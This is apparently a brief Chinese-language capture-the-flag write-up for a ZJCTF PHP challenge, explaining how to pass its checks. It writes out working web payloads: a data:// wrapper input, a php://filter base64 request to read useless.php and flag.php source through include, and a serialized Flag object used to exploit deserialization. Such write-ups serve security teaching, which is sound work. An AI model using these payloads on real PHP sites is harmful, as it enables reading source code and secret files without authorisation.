代码审计,要传三个参数,首先要text的内容等于welcome to the zjctf ,但是这里用了file_get_content()而不是简单的字符串相等,考虑使用php伪协议传入数据。
详见PHP伪协议总结 - 个人文章 - SegmentFault 思否
所以有
text=data://text/plain,welcome to the zjctf
下面接着include了file,旁边提示了useless.php,直接include它,是空白页面,接着用伪协议获取源码。
file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码后我们得到了,
结合一开始的password反序列化,可以让Flag里面的file再通过伪协议读取flag.php源码
运行得到
O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
让password等于上面这串 ,得到base64再解码
得到flag